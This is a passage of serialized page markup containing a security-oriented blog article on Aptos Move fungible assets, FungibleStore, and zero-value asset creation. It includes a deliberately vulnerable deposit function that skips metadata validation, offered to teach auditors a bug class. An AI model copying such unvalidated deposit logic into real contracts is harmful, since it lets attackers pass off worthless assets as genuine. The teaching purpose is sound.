",{"type":21,"tag":194,"props":61789,"children":61791},{"className":61790},[],[61792],{"type":27,"value":61506},{"type":27,"value":61794}," is also required for a ",{"type":21,"tag":194,"props":61796,"children":61798},{"className":61797},[],[61799],{"type":27,"value":61800},"burn_from",{"type":27,"value":61802}," operation, which withdraws the ",{"type":21,"tag":194,"props":61804,"children":61806},{"className":61805},[],[61807],{"type":27,"value":61311},{"type":27,"value":61809}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":21,"tag":30,"props":61811,"children":61812},{},[61813,61815,61820,61822,61829,61831,61836],{"type":27,"value":61814},"Storing ",{"type":21,"tag":194,"props":61816,"children":61818},{"className":61817},[],[61819],{"type":27,"value":61311},{"type":27,"value":61821}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":21,"tag":34,"props":61823,"children":61826},{"href":61824,"rel":61825},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[38],[61827],{"type":27,"value":61828},"AIP-21",{"type":27,"value":61830}," summarizes the ",{"type":21,"tag":194,"props":61832,"children":61834},{"className":61833},[],[61835],{"type":27,"value":61311},{"type":27,"value":61837}," problems:",{"type":21,"tag":3741,"props":61839,"children":61840},{},[61841,61850],{"type":21,"tag":30,"props":61842,"children":61843},{},[61844,61848],{"type":21,"tag":198,"props":61845,"children":61846},{},[61847],{"type":27,"value":10402},{"type":27,"value":61849}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":21,"tag":30,"props":61851,"children":61852},{},[61853],{"type":27,"value":61854},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":21,"tag":30,"props":61856,"children":61857},{},[61858],{"type":27,"value":61859},"And declares, that:",{"type":21,"tag":3741,"props":61861,"children":61862},{},[61863],{"type":21,"tag":30,"props":61864,"children":61865},{},[61866],{"type":27,"value":61867},"Fungible assets addresses these issues.",{"type":21,"tag":30,"props":61869,"children":61870},{},[61871],{"type":27,"value":61872},"Let's find out whether this is indeed the case.",{"type":21,"tag":22,"props":61874,"children":61876},{"id":61875},"the-fungible-assets",[61877],{"type":27,"value":61878},"The fungible assets",{"type":21,"tag":30,"props":61880,"children":61881},{},[61882,61884,61890,61892,61899],{"type":27,"value":61883},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":21,"tag":194,"props":61885,"children":61887},{"className":61886},[],[61888],{"type":27,"value":61889},"FungibleAsset",{"type":27,"value":61891}," uses the ",{"type":21,"tag":34,"props":61893,"children":61896},{"href":61894,"rel":61895},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[38],[61897],{"type":27,"value":61898},"hot-potato pattern",{"type":27,"value":185},{"type":21,"tag":187,"props":61901,"children":61903},{"className":3789,"code":61902,"language":3788,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[61904],{"type":21,"tag":194,"props":61905,"children":61906},{"__ignoreMap":7},[61907,61923,61953,61973],{"type":21,"tag":198,"props":61908,"children":61909},{"class":200,"line":201},[61910,61914,61919],{"type":21,"tag":198,"props":61911,"children":61912},{"style":249},[61913],{"type":27,"value":10213},{"type":21,"tag":198,"props":61915,"children":61916},{"style":1966},[61917],{"type":27,"value":61918}," FungibleAsset",{"type":21,"tag":198,"props":61920,"children":61921},{"style":211},[61922],{"type":27,"value":233},{"type":21,"tag":198,"props":61924,"children":61925},{"class":200,"line":217},[61926,61931,61935,61940,61944,61949],{"type":21,"tag":198,"props":61927,"children":61928},{"style":226},[61929],{"type":27,"value":61930}," metadata",{"type":21,"tag":198,"props":61932,"children":61933},{"style":683},[61934],{"type":27,"value":185},{"type":21,"tag":198,"props":61936,"children":61937},{"style":1966},[61938],{"type":27,"value":61939}," Object",{"type":21,"tag":198,"props":61941,"children":61942},{"style":211},[61943],{"type":27,"value":3159},{"type":21,"tag":198,"props":61945,"children":61946},{"style":1966},[61947],{"type":27,"value":61948},"Metadata",{"type":21,"tag":198,"props":61950,"children":61951},{"style":211},[61952],{"type":27,"value":6950},{"type":21,"tag":198,"props":61954,"children":61955},{"class":200,"line":236},[61956,61961,61965,61969],{"type":21,"tag":198,"props":61957,"children":61958},{"style":226},[61959],{"type":27,"value":61960}," amount",{"type":21,"tag":198,"props":61962,"children":61963},{"style":683},[61964],{"type":27,"value":185},{"type":21,"tag":198,"props":61966,"children":61967},{"style":1966},[61968],{"type":27,"value":6673},{"type":21,"tag":198,"props":61970,"children":61971},{"style":211},[61972],{"type":27,"value":257},{"type":21,"tag":198,"props":61974,"children":61975},{"class":200,"line":260},[61976],{"type":21,"tag":198,"props":61977,"children":61978},{"style":211},[61979],{"type":27,"value":1120},{"type":21,"tag":30,"props":61981,"children":61982},{},[61983,61985,61990,61991,61996,61998,62003,62005,62012],{"type":27,"value":61984},"Unlike ",{"type":21,"tag":194,"props":61986,"children":61988},{"className":61987},[],[61989],{"type":27,"value":61344},{"type":27,"value":828},{"type":21,"tag":194,"props":61992,"children":61994},{"className":61993},[],[61995],{"type":27,"value":61889},{"type":27,"value":61997}," types are defined at runtime through the ",{"type":21,"tag":194,"props":61999,"children":62001},{"className":62000},[],[62002],{"type":27,"value":61948},{"type":27,"value":62004}," field. This change was meant to ",{"type":21,"tag":34,"props":62006,"children":62009},{"href":62007,"rel":62008},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[38],[62010],{"type":27,"value":62011},"enhance extensibility",{"type":27,"value":185},{"type":21,"tag":3741,"props":62014,"children":62015},{},[62016],{"type":21,"tag":30,"props":62017,"children":62018},{},[62019],{"type":27,"value":62020},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":21,"tag":30,"props":62022,"children":62023},{},[62024,62026,62032],{"type":27,"value":62025},"An important implication is that functions accepting ",{"type":21,"tag":194,"props":62027,"children":62029},{"className":62028},[],[62030],{"type":27,"value":62031},"FungibleAssets",{"type":27,"value":62033}," must verify the metadata to ensure valid assets.",{"type":21,"tag":30,"props":62035,"children":62036},{},[62037],{"type":27,"value":62038},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":21,"tag":187,"props":62040,"children":62042},{"className":3789,"code":62041,"language":3788,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[62043],{"type":21,"tag":194,"props":62044,"children":62045},{"__ignoreMap":7},[62046,62083,62121,62145,62157,62165,62210,62244,62274,62281,62318,62325,62363,62370,62416],{"type":21,"tag":198,"props":62047,"children":62048},{"class":200,"line":201},[62049,62054,62058,62063,62067,62071,62075,62079],{"type":21,"tag":198,"props":62050,"children":62051},{"style":226},[62052],{"type":27,"value":62053},"public",{"type":21,"tag":198,"props":62055,"children":62056},{"style":226},[62057],{"type":27,"value":7019},{"type":21,"tag":198,"props":62059,"children":62060},{"style":226},[62061],{"type":27,"value":62062}," deposit",{"type":21,"tag":198,"props":62064,"children":62065},{"style":211},[62066],{"type":27,"value":3159},{"type":21,"tag":198,"props":62068,"children":62069},{"style":1966},[62070],{"type":27,"value":6800},{"type":21,"tag":198,"props":62072,"children":62073},{"style":683},[62074],{"type":27,"value":185},{"type":21,"tag":198,"props":62076,"children":62077},{"style":226},[62078],{"type":27,"value":6744},{"type":21,"tag":198,"props":62080,"children":62081},{"style":211},[62082],{"type":27,"value":7400},{"type":21,"tag":198,"props":62084,"children":62085},{"class":200,"line":217},[62086,62091,62095,62099,62103,62107,62112,62116],{"type":21,"tag":198,"props":62087,"children":62088},{"style":226},[62089],{"type":27,"value":62090}," sender",{"type":21,"tag":198,"props":62092,"children":62093},{"style":683},[62094],{"type":27,"value":185},{"type":21,"tag":198,"props":62096,"children":62097},{"style":683},[62098],{"type":27,"value":7953},{"type":21,"tag":198,"props":62100,"children":62101},{"style":226},[62102],{"type":27,"value":7958},{"type":21,"tag":198,"props":62104,"children":62105},{"style":211},[62106],{"type":27,"value":828},{"type":21,"tag":198,"props":62108,"children":62109},{"style":226},[62110],{"type":27,"value":62111},"fa",{"type":21,"tag":198,"props":62113,"children":62114},{"style":683},[62115],{"type":27,"value":185},{"type":21,"tag":198,"props":62117,"children":62118},{"style":1966},[62119],{"type":27,"value":62120}," FungibleAsset\n",{"type":21,"tag":198,"props":62122,"children":62123},{"class":200,"line":236},[62124,62128,62132,62136,62140],{"type":21,"tag":198,"props":62125,"children":62126},{"style":211},[62127],{"type":27,"value":1541},{"type":21,"tag":198,"props":62129,"children":62130},{"style":226},[62131],{"type":27,"value":7156},{"type":21,"tag":198,"props":62133,"children":62134},{"style":211},[62135],{"type":27,"value":2810},{"type":21,"tag":198,"props":62137,"children":62138},{"style":683},[62139],{"type":27,"value":10402},{"type":21,"tag":198,"props":62141,"children":62142},{"style":211},[62143],{"type":27,"value":62144},"] {\n",{"type":21,"tag":198,"props":62146,"children":62147},{"class":200,"line":260},[62148,62153],{"type":21,"tag":198,"props":62149,"children":62150},{"style":698},[62151],{"type":27,"value":62152}," assert_not_paused",{"type":21,"tag":198,"props":62154,"children":62155},{"style":211},[62156],{"type":27,"value":3404},{"type":21,"tag":198,"props":62158,"children":62159},{"class":200,"line":281},[62160],{"type":21,"tag":198,"props":62161,"children":62162},{"style":211},[62163],{"type":27,"value":62164}," \n",{"type":21,"tag":198,"props":62166,"children":62167},{"class":200,"line":302},[62168,62172,62177,62181,62186,62190,62194,62198,62202,62206],{"type":21,"tag":198,"props":62169,"children":62170},{"style":249},[62171],{"type":27,"value":3809},{"type":21,"tag":198,"props":62173,"children":62174},{"style":226},[62175],{"type":27,"value":62176}," fa_amount",{"type":21,"tag":198,"props":62178,"children":62179},{"style":683},[62180],{"type":27,"value":979},{"type":21,"tag":198,"props":62182,"children":62183},{"style":211},[62184],{"type":27,"value":62185}," fungible_asset",{"type":21,"tag":198,"props":62187,"children":62188},{"style":683},[62189],{"type":27,"value":4286},{"type":21,"tag":198,"props":62191,"children":62192},{"style":698},[62193],{"type":27,"value":21101},{"type":21,"tag":198,"props":62195,"children":62196},{"style":211},[62197],{"type":27,"value":706},{"type":21,"tag":198,"props":62199,"children":62200},{"style":683},[62201],{"type":27,"value":3917},{"type":21,"tag":198,"props":62203,"children":62204},{"style":226},[62205],{"type":27,"value":62111},{"type":21,"tag":198,"props":62207,"children":62208},{"style":211},[62209],{"type":27,"value":1470},{"type":21,"tag":198,"props":62211,"children":62212},{"class":200,"line":323},[62213,62217,62222,62226,62231,62235,62240],{"type":21,"tag":198,"props":62214,"children":62215},{"style":249},[62216],{"type":27,"value":3809},{"type":21,"tag":198,"props":62218,"children":62219},{"style":226},[62220],{"type":27,"value":62221}," sender_address",{"type":21,"tag":198,"props":62223,"children":62224},{"style":683},[62225],{"type":27,"value":979},{"type":21,"tag":198,"props":62227,"children":62228},{"style":698},[62229],{"type":27,"value":62230}," address_of",{"type":21,"tag":198,"props":62232,"children":62233},{"style":211},[62234],{"type":27,"value":706},{"type":21,"tag":198,"props":62236,"children":62237},{"style":226},[62238],{"type":27,"value":62239},"sender",{"type":21,"tag":198,"props":62241,"children":62242},{"style":211},[62243],{"type":27,"value":1470},{"type":21,"tag":198,"props":62245,"children":62246},{"class":200,"line":344},[62247,62252,62256,62261,62265,62270],{"type":21,"tag":198,"props":62248,"children":62249},{"style":698},[62250],{"type":27,"value":62251}," check_compliance",{"type":21,"tag":198,"props":62253,"children":62254},{"style":211},[62255],{"type":27,"value":706},{"type":21,"tag":198,"props":62257,"children":62258},{"style":226},[62259],{"type":27,"value":62260},"fa_amount",{"type":21,"tag":198,"props":62262,"children":62263},{"style":211},[62264],{"type":27,"value":828},{"type":21,"tag":198,"props":62266,"children":62267},{"style":226},[62268],{"type":27,"value":62269},"sender_address",{"type":21,"tag":198,"props":62271,"children":62272},{"style":211},[62273],{"type":27,"value":1470},{"type":21,"tag":198,"props":62275,"children":62276},{"class":200,"line":365},[62277],{"type":21,"tag":198,"props":62278,"children":62279},{"style":211},[62280],{"type":27,"value":62164},{"type":21,"tag":198,"props":62282,"children":62283},{"class":200,"line":386},[62284,62289,62293,62298,62302,62306,62310,62314],{"type":21,"tag":198,"props":62285,"children":62286},{"style":698},[62287],{"type":27,"value":62288}," increase_deposit",{"type":21,"tag":198,"props":62290,"children":62291},{"style":211},[62292],{"type":27,"value":706},{"type":21,"tag":198,"props":62294,"children":62295},{"style":698},[62296],{"type":27,"value":62297},"get_vault",{"type":21,"tag":198,"props":62299,"children":62300},{"style":211},[62301],{"type":27,"value":706},{"type":21,"tag":198,"props":62303,"children":62304},{"style":226},[62305],{"type":27,"value":62269},{"type":21,"tag":198,"props":62307,"children":62308},{"style":211},[62309],{"type":27,"value":15982},{"type":21,"tag":198,"props":62311,"children":62312},{"style":226},[62313],{"type":27,"value":62260},{"type":21,"tag":198,"props":62315,"children":62316},{"style":211},[62317],{"type":27,"value":1470},{"type":21,"tag":198,"props":62319,"children":62320},{"class":200,"line":408},[62321],{"type":21,"tag":198,"props":62322,"children":62323},{"style":211},[62324],{"type":27,"value":62164},{"type":21,"tag":198,"props":62326,"children":62327},{"class":200,"line":429},[62328,62333,62337,62342,62346,62351,62355,62359],{"type":21,"tag":198,"props":62329,"children":62330},{"style":211},[62331],{"type":27,"value":62332}," primary_fungible_store",{"type":21,"tag":198,"props":62334,"children":62335},{"style":683},[62336],{"type":27,"value":4286},{"type":21,"tag":198,"props":62338,"children":62339},{"style":698},[62340],{"type":27,"value":62341},"deposit",{"type":21,"tag":198,"props":62343,"children":62344},{"style":211},[62345],{"type":27,"value":706},{"type":21,"tag":198,"props":62347,"children":62348},{"style":698},[62349],{"type":27,"value":62350},"global_vault_address",{"type":21,"tag":198,"props":62352,"children":62353},{"style":211},[62354],{"type":27,"value":19178},{"type":21,"tag":198,"props":62356,"children":62357},{"style":226},[62358],{"type":27,"value":62111},{"type":21,"tag":198,"props":62360,"children":62361},{"style":211},[62362],{"type":27,"value":1470},{"type":21,"tag":198,"props":62364,"children":62365},{"class":200,"line":450},[62366],{"type":21,"tag":198,"props":62367,"children":62368},{"style":211},[62369],{"type":27,"value":62164},{"type":21,"tag":198,"props":62371,"children":62372},{"class":200,"line":468},[62373,62378,62382,62387,62391,62396,62400,62404,62408,62412],{"type":21,"tag":198,"props":62374,"children":62375},{"style":211},[62376],{"type":27,"value":62377}," event",{"type":21,"tag":198,"props":62379,"children":62380},{"style":683},[62381],{"type":27,"value":4286},{"type":21,"tag":198,"props":62383,"children":62384},{"style":698},[62385],{"type":27,"value":62386},"emit",{"type":21,"tag":198,"props":62388,"children":62389},{"style":211},[62390],{"type":27,"value":706},{"type":21,"tag":198,"props":62392,"children":62393},{"style":1966},[62394],{"type":27,"value":62395},"Deposit",{"type":21,"tag":198,"props":62397,"children":62398},{"style":211},[62399],{"type":27,"value":45975},{"type":21,"tag":198,"props":62401,"children":62402},{"style":226},[62403],{"type":27,"value":62269},{"type":21,"tag":198,"props":62405,"children":62406},{"style":211},[62407],{"type":27,"value":828},{"type":21,"tag":198,"props":62409,"children":62410},{"style":226},[62411],{"type":27,"value":62260},{"type":21,"tag":198,"props":62413,"children":62414},{"style":211},[62415],{"type":27,"value":33801},{"type":21,"tag":198,"props":62417,"children":62418},{"class":200,"line":477},[62419],{"type":21,"tag":198,"props":62420,"children":62421},{"style":211},[62422],{"type":27,"value":1120},{"type":21,"tag":30,"props":62424,"children":62425},{},[62426],{"type":27,"value":62427},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":21,"tag":30,"props":62429,"children":62430},{},[62431],{"type":27,"value":62432},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":21,"tag":22,"props":62434,"children":62436},{"id":62435},"fungible-stores",[62437],{"type":27,"value":62438},"Fungible stores",{"type":21,"tag":30,"props":62440,"children":62441},{},[62442],{"type":27,"value":62443},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":21,"tag":30,"props":62445,"children":62446},{},[62447,62449,62455],{"type":27,"value":62448},"Meet the ",{"type":21,"tag":194,"props":62450,"children":62452},{"className":62451},[],[62453],{"type":27,"value":62454},"FungibleStore",{"type":27,"value":658},{"type":21,"tag":187,"props":62457,"children":62459},{"className":3789,"code":62458,"language":3788,"meta":7,"style":7},"struct FungibleStore has key {\n metadata: Object\u003CMetadata>,\n balance: u64,\n frozen: bool,\n}\n",[62460],{"type":21,"tag":194,"props":62461,"children":62462},{"__ignoreMap":7},[62463,62487,62514,62534,62553],{"type":21,"tag":198,"props":62464,"children":62465},{"class":200,"line":201},[62466,62470,62475,62479,62483],{"type":21,"tag":198,"props":62467,"children":62468},{"style":249},[62469],{"type":27,"value":10213},{"type":21,"tag":198,"props":62471,"children":62472},{"style":1966},[62473],{"type":27,"value":62474}," FungibleStore",{"type":21,"tag":198,"props":62476,"children":62477},{"style":226},[62478],{"type":27,"value":10222},{"type":21,"tag":198,"props":62480,"children":62481},{"style":226},[62482],{"type":27,"value":6744},{"type":21,"tag":198,"props":62484,"children":62485},{"style":211},[62486],{"type":27,"value":233},{"type":21,"tag":198,"props":62488,"children":62489},{"class":200,"line":217},[62490,62494,62498,62502,62506,62510],{"type":21,"tag":198,"props":62491,"children":62492},{"style":226},[62493],{"type":27,"value":61930},{"type":21,"tag":198,"props":62495,"children":62496},{"style":683},[62497],{"type":27,"value":185},{"type":21,"tag":198,"props":62499,"children":62500},{"style":1966},[62501],{"type":27,"value":61939},{"type":21,"tag":198,"props":62503,"children":62504},{"style":211},[62505],{"type":27,"value":3159},{"type":21,"tag":198,"props":62507,"children":62508},{"style":1966},[62509],{"type":27,"value":61948},{"type":21,"tag":198,"props":62511,"children":62512},{"style":211},[62513],{"type":27,"value":6950},{"type":21,"tag":198,"props":62515,"children":62516},{"class":200,"line":236},[62517,62522,62526,62530],{"type":21,"tag":198,"props":62518,"children":62519},{"style":226},[62520],{"type":27,"value":62521}," balance",{"type":21,"tag":198,"props":62523,"children":62524},{"style":683},[62525],{"type":27,"value":185},{"type":21,"tag":198,"props":62527,"children":62528},{"style":1966},[62529],{"type":27,"value":6673},{"type":21,"tag":198,"props":62531,"children":62532},{"style":211},[62533],{"type":27,"value":257},{"type":21,"tag":198,"props":62535,"children":62536},{"class":200,"line":260},[62537,62541,62545,62549],{"type":21,"tag":198,"props":62538,"children":62539},{"style":226},[62540],{"type":27,"value":61591},{"type":21,"tag":198,"props":62542,"children":62543},{"style":683},[62544],{"type":27,"value":185},{"type":21,"tag":198,"props":62546,"children":62547},{"style":1966},[62548],{"type":27,"value":12860},{"type":21,"tag":198,"props":62550,"children":62551},{"style":211},[62552],{"type":27,"value":257},{"type":21,"tag":198,"props":62554,"children":62555},{"class":200,"line":281},[62556],{"type":21,"tag":198,"props":62557,"children":62558},{"style":211},[62559],{"type":27,"value":1120},{"type":21,"tag":30,"props":62561,"children":62562},{},[62563,62568,62570,62575,62577,62582,62584,62589,62591,62596],{"type":21,"tag":194,"props":62564,"children":62566},{"className":62565},[],[62567],{"type":27,"value":62454},{"type":27,"value":62569}," manages balances and metadata instead of holding the actual ",{"type":21,"tag":194,"props":62571,"children":62573},{"className":62572},[],[62574],{"type":27,"value":61889},{"type":27,"value":62576}," (it can't because ",{"type":21,"tag":194,"props":62578,"children":62580},{"className":62579},[],[62581],{"type":27,"value":61889},{"type":27,"value":62583}," doesn't have ",{"type":21,"tag":194,"props":62585,"children":62587},{"className":62586},[],[62588],{"type":27,"value":6753},{"type":27,"value":62590},"). Withdrawals create temporary ",{"type":21,"tag":194,"props":62592,"children":62594},{"className":62593},[],[62595],{"type":27,"value":61889},{"type":27,"value":62597}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":21,"tag":19590,"props":62599,"children":62600},{},[],{"type":21,"tag":30,"props":62602,"children":62603},{},[62604,62606,62611,62613,62618],{"type":27,"value":62605},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":21,"tag":194,"props":62607,"children":62609},{"className":62608},[],[62610],{"type":27,"value":61889},{"type":27,"value":62612}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":21,"tag":194,"props":62614,"children":62616},{"className":62615},[],[62617],{"type":27,"value":61889},{"type":27,"value":658},{"type":21,"tag":187,"props":62620,"children":62622},{"className":3789,"code":62621,"language":3788,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n let FungibleAsset { amount, metadata: _ } = fungible_asset;\n assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n FungibleAsset {\n metadata: object::convert(metadata),\n amount: 0,\n }\n}\n",[62623],{"type":21,"tag":194,"props":62624,"children":62625},{"__ignoreMap":7},[62626,62663,62715,62758,62765,62772,62844,62856,62894,62913,62920],{"type":21,"tag":198,"props":62627,"children":62628},{"class":200,"line":201},[62629,62633,62637,62642,62646,62651,62655,62659],{"type":21,"tag":198,"props":62630,"children":62631},{"style":226},[62632],{"type":27,"value":62053},{"type":21,"tag":198,"props":62634,"children":62635},{"style":226},[62636],{"type":27,"value":7019},{"type":21,"tag":198,"props":62638,"children":62639},{"style":698},[62640],{"type":27,"value":62641}," destroy_zero",{"type":21,"tag":198,"props":62643,"children":62644},{"style":211},[62645],{"type":27,"value":706},{"type":21,"tag":198,"props":62647,"children":62648},{"style":226},[62649],{"type":27,"value":62650},"fungible_asset",{"type":21,"tag":198,"props":62652,"children":62653},{"style":683},[62654],{"type":27,"value":185},{"type":21,"tag":198,"props":62656,"children":62657},{"style":1966},[62658],{"type":27,"value":61918},{"type":21,"tag":198,"props":62660,"children":62661},{"style":211},[62662],{"type":27,"value":668},{"type":21,"tag":198,"props":62664,"children":62665},{"class":200,"line":217},[62666,62670,62674,62678,62682,62686,62691,62695,62699,62703,62707,62711],{"type":21,"tag":198,"props":62667,"children":62668},{"style":249},[62669],{"type":27,"value":3809},{"type":21,"tag":198,"props":62671,"children":62672},{"style":1966},[62673],{"type":27,"value":61918},{"type":21,"tag":198,"props":62675,"children":62676},{"style":211},[62677],{"type":27,"value":1891},{"type":21,"tag":198,"props":62679,"children":62680},{"style":226},[62681],{"type":27,"value":21101},{"type":21,"tag":198,"props":62683,"children":62684},{"style":211},[62685],{"type":27,"value":828},{"type":21,"tag":198,"props":62687,"children":62688},{"style":226},[62689],{"type":27,"value":62690},"metadata",{"type":21,"tag":198,"props":62692,"children":62693},{"style":683},[62694],{"type":27,"value":185},{"type":21,"tag":198,"props":62696,"children":62697},{"style":226},[62698],{"type":27,"value":3845},{"type":21,"tag":198,"props":62700,"children":62701},{"style":211},[62702],{"type":27,"value":1257},{"type":21,"tag":198,"props":62704,"children":62705},{"style":683},[62706],{"type":27,"value":3174},{"type":21,"tag":198,"props":62708,"children":62709},{"style":226},[62710],{"type":27,"value":62185},{"type":21,"tag":198,"props":62712,"children":62713},{"style":211},[62714],{"type":27,"value":1483},{"type":21,"tag":198,"props":62716,"children":62717},{"class":200,"line":236},[62718,62723,62727,62731,62735,62739,62744,62748,62753],{"type":21,"tag":198,"props":62719,"children":62720},{"style":698},[62721],{"type":27,"value":62722}," assert!",{"type":21,"tag":198,"props":62724,"children":62725},{"style":211},[62726],{"type":27,"value":706},{"type":21,"tag":198,"props":62728,"children":62729},{"style":226},[62730],{"type":27,"value":21101},{"type":21,"tag":198,"props":62732,"children":62733},{"style":683},[62734],{"type":27,"value":4089},{"type":21,"tag":198,"props":62736,"children":62737},{"style":2540},[62738],{"type":27,"value":3855},{"type":21,"tag":198,"props":62740,"children":62741},{"style":211},[62742],{"type":27,"value":62743},", error",{"type":21,"tag":198,"props":62745,"children":62746},{"style":683},[62747],{"type":27,"value":4286},{"type":21,"tag":198,"props":62749,"children":62750},{"style":698},[62751],{"type":27,"value":62752},"invalid_argument",{"type":21,"tag":198,"props":62754,"children":62755},{"style":211},[62756],{"type":27,"value":62757},"(EAMOUNT_IS_NOT_ZERO));\n",{"type":21,"tag":198,"props":62759,"children":62760},{"class":200,"line":260},[62761],{"type":21,"tag":198,"props":62762,"children":62763},{"style":211},[62764],{"type":27,"value":1120},{"type":21,"tag":198,"props":62766,"children":62767},{"class":200,"line":281},[62768],{"type":21,"tag":198,"props":62769,"children":62770},{"emptyLinePlaceholder":16},[62771],{"type":27,"value":1283},{"type":21,"tag":198,"props":62773,"children":62774},{"class":200,"line":302},[62775,62779,62783,62788,62792,62796,62800,62804,62808,62812,62816,62820,62824,62828,62832,62836,62840],{"type":21,"tag":198,"props":62776,"children":62777},{"style":226},[62778],{"type":27,"value":62053},{"type":21,"tag":198,"props":62780,"children":62781},{"style":226},[62782],{"type":27,"value":7019},{"type":21,"tag":198,"props":62784,"children":62785},{"style":226},[62786],{"type":27,"value":62787}," zero",{"type":21,"tag":198,"props":62789,"children":62790},{"style":211},[62791],{"type":27,"value":3159},{"type":21,"tag":198,"props":62793,"children":62794},{"style":1966},[62795],{"type":27,"value":6800},{"type":21,"tag":198,"props":62797,"children":62798},{"style":683},[62799],{"type":27,"value":185},{"type":21,"tag":198,"props":62801,"children":62802},{"style":226},[62803],{"type":27,"value":6744},{"type":21,"tag":198,"props":62805,"children":62806},{"style":211},[62807],{"type":27,"value":8423},{"type":21,"tag":198,"props":62809,"children":62810},{"style":226},[62811],{"type":27,"value":62690},{"type":21,"tag":198,"props":62813,"children":62814},{"style":683},[62815],{"type":27,"value":185},{"type":21,"tag":198,"props":62817,"children":62818},{"style":1966},[62819],{"type":27,"value":61939},{"type":21,"tag":198,"props":62821,"children":62822},{"style":211},[62823],{"type":27,"value":3159},{"type":21,"tag":198,"props":62825,"children":62826},{"style":1966},[62827],{"type":27,"value":6800},{"type":21,"tag":198,"props":62829,"children":62830},{"style":211},[62831],{"type":27,"value":9199},{"type":21,"tag":198,"props":62833,"children":62834},{"style":683},[62835],{"type":27,"value":185},{"type":21,"tag":198,"props":62837,"children":62838},{"style":1966},[62839],{"type":27,"value":61918},{"type":21,"tag":198,"props":62841,"children":62842},{"style":211},[62843],{"type":27,"value":233},{"type":21,"tag":198,"props":62845,"children":62846},{"class":200,"line":323},[62847,62852],{"type":21,"tag":198,"props":62848,"children":62849},{"style":1966},[62850],{"type":27,"value":62851}," FungibleAsset",{"type":21,"tag":198,"props":62853,"children":62854},{"style":211},[62855],{"type":27,"value":233},{"type":21,"tag":198,"props":62857,"children":62858},{"class":200,"line":344},[62859,62864,62868,62873,62877,62882,62886,62890],{"type":21,"tag":198,"props":62860,"children":62861},{"style":226},[62862],{"type":27,"value":62863}," metadata",{"type":21,"tag":198,"props":62865,"children":62866},{"style":683},[62867],{"type":27,"value":185},{"type":21,"tag":198,"props":62869,"children":62870},{"style":211},[62871],{"type":27,"value":62872}," object",{"type":21,"tag":198,"props":62874,"children":62875},{"style":683},[62876],{"type":27,"value":4286},{"type":21,"tag":198,"props":62878,"children":62879},{"style":698},[62880],{"type":27,"value":62881},"convert",{"type":21,"tag":198,"props":62883,"children":62884},{"style":211},[62885],{"type":27,"value":706},{"type":21,"tag":198,"props":62887,"children":62888},{"style":226},[62889],{"type":27,"value":62690},{"type":21,"tag":198,"props":62891,"children":62892},{"style":211},[62893],{"type":27,"value":7548},{"type":21,"tag":198,"props":62895,"children":62896},{"class":200,"line":365},[62897,62901,62905,62909],{"type":21,"tag":198,"props":62898,"children":62899},{"style":226},[62900],{"type":27,"value":8261},{"type":21,"tag":198,"props":62902,"children":62903},{"style":683},[62904],{"type":27,"value":185},{"type":21,"tag":198,"props":62906,"children":62907},{"style":2540},[62908],{"type":27,"value":3855},{"type":21,"tag":198,"props":62910,"children":62911},{"style":211},[62912],{"type":27,"value":257},{"type":21,"tag":198,"props":62914,"children":62915},{"class":200,"line":386},[62916],{"type":21,"tag":198,"props":62917,"children":62918},{"style":211},[62919],{"type":27,"value":880},{"type":21,"tag":198,"props":62921,"children":62922},{"class":200,"line":408},[62923],{"type":21,"tag":198,"props":62924,"children":62925},{"style":211},[62926],{"type":27,"value":1120},{"type":21,"tag":30,"props":62928,"children":62929},{},[62930],{"type":27,"value":62931},"In theory, this shouldn’t pose a problem. After all, having zero of something doesn’t exactly qualify as ownership.",{"type":21,"tag":30,"props":62933,"children":62934},{},[62935,62937,62942],{"type":27,"value":62936},"In practice, the ability to freely mint and burn zero ",{"type":21,"tag":194,"props":62938,"children":62940},{"className":62939},[],[62941],{"type":27,"value":62031},{"type":27,"value":62943}," of any type could present a significant risk. During our reviews, we enountered many protocols that did not account for this possibility, leading to arithmetic errors, DoS logic bugs or inaccurate calculations. Keep in mind that edge case, we'll come back to this.",{"type":21,"tag":59,"props":62945,"children":62947},{"id":62946},"primary-and-secondary-stores",[62948],{"type":27,"value":62949},"Primary and secondary stores",{"type":21,"tag":30,"props":62951,"children":62952},{},[62953,62959,62961,62967,62969,62974],{"type":21,"tag":194,"props":62954,"children":62956},{"className":62955},[],[62957],{"type":27,"value":62958},"FungibleStores",{"type":27,"value":62960}," in comparison to 